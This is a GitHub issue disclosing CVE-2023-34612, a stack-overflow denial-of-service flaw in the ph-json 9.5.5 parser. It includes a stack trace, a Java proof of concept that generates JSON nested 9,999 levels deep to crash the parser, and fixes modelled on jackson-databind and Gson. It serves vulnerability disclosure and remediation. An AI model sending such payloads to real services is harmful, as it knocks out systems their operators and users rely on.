CVE-2023-34612: Stack overflow error caused by ph-json parsing of untrusted JSON String · Issue #35 · phax/ph-commons

Stack overflow error caused by ph-json parsing of untrusted JSON String****Description

Using ph-json to parse untrusted JSON String may be vulnerable to denial of service (DOS) attacks. If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by stackoverflow.

Error Log

Exception in thread "main" java.lang.StackOverflowError
    at java.base/java.util.ArrayList.get(ArrayList.java:459)
    at com.helger.commons.collection.impl.ICommonsList.getLast(ICommonsList.java:201)
    at com.helger.commons.collection.impl.ICommonsList.getLast(ICommonsList.java:186)
    at com.helger.commons.collection.NonBlockingStack.peek(NonBlockingStack.java:112)
    at com.helger.json.parser.handler.CollectingJsonParserHandler._addToStackPeek(CollectingJsonParserHandler.java:51)
    at com.helger.json.parser.handler.CollectingJsonParserHandler._addSimple(CollectingJsonParserHandler.java:71)
    at com.helger.json.parser.handler.CollectingJsonParserHandler._addCollection(CollectingJsonParserHandler.java:76)
    at com.helger.json.parser.handler.CollectingJsonParserHandler.onArrayStart(CollectingJsonParserHandler.java:115)
    at com.helger.json.parser.JsonParser._readArray(JsonParser.java:804)
    at com.helger.json.parser.JsonParser._readValue(JsonParser.java:959)
    at com.helger.json.parser.JsonParser._readArray(JsonParser.java:820)
    at com.helger.json.parser.JsonParser._readValue(JsonParser.java:959)
    at com.helger.json.parser.JsonParser._readArray(JsonParser.java:820)
    at com.helger.json.parser.JsonParser._readValue(JsonParser.java:959)
    at com.helger.json.parser.JsonParser._readArray(JsonParser.java:820)
    at com.helger.json.parser.JsonParser._readValue(JsonParser.java:959)
    at com.helger.json.parser.JsonParser._readArray(JsonParser.java:820)
    at com.helger.json.parser.JsonParser._readValue(JsonParser.java:959)
    at com.helger.json.parser.JsonParser._readArray(JsonParser.java:820)
    at com.helger.json.parser.JsonParser._readValue(JsonParser.java:959)
    at com.helger.json.parser.JsonParser._readArray(JsonParser.java:820)
    at com.helger.json.parser.JsonParser._readValue(JsonParser.java:959)
    at com.helger.json.parser.JsonParser._readArray(JsonParser.java:820)
    at com.helger.json.parser.JsonParser._readValue(JsonParser.java:959)
    at com.helger.json.parser.JsonParser._readArray(JsonParser.java:820)
    at com.helger.json.parser.JsonParser._readValue(JsonParser.java:959)
    at com.helger.json.parser.JsonParser._readArray(JsonParser.java:820)
    at com.helger.json.parser.JsonParser._readValue(JsonParser.java:959)
    at com.helger.json.parser.JsonParser._readArray(JsonParser.java:820)
    at com.helger.json.parser.JsonParser._readValue(JsonParser.java:959)
    at com.helger.json.parser.JsonParser._readArray(JsonParser.java:820)
    at com.helger.json.parser.JsonParser._readValue(JsonParser.java:959)
    at com.helger.json.parser.JsonParser._readArray(JsonParser.java:820)
    at com.helger.json.parser.JsonParser._readValue(JsonParser.java:959)
    at com.helger.json.parser.JsonParser._readArray(JsonParser.java:820)
    at com.helger.json.parser.JsonParser._readValue(JsonParser.java:959)

PoC

    <dependency\>
        <groupId\>com.helger</groupId\>
        <artifactId\>ph-json</artifactId\>
        <version\>9.5.5</version\>
    </dependency\>

import com.helger.json.serialize.JsonReader;

public class PoC {

public final static int TOO\_DEEP\_NESTING = 9999;
public final static String TOO\_DEEP\_DOC = \_nestedDoc(TOO\_DEEP\_NESTING, "\[ ", "\] ", "0");


public static String \_nestedDoc(int nesting, String open, String close, String content) {
    StringBuilder sb = new StringBuilder(nesting \* (open.length() + close.length()));
    for (int i = 0; i < nesting; ++i) {
        sb.append(open);
        if ((i & 31) == 0) {
            sb.append("\\n");
        }
    }
    sb.append("\\n").append(content).append("\\n");
    for (int i = 0; i < nesting; ++i) {
        sb.append(close);
        if ((i & 31) == 0) {
            sb.append("\\n");
        }
    }
    return sb.toString();
}

public static void main(String\[\] args) {
    String jsonString = TOO\_DEEP\_DOC;
    JsonReader.readFromString(jsonString);
}

}

Rectification Solution

1. Refer to the solution of jackson-databind: Add the depth variable to record the current parsing depth. If the parsing depth exceeds a certain threshold, an exception is thrown. (FasterXML/jackson-databind@fcfc499)

2. Refer to the GSON solution: Change the recursive processing on deeply nested arrays or JSON objects to stack+iteration processing.(（google/gson@2d01d6a20f39881c692977564c1ea591d9f39027）)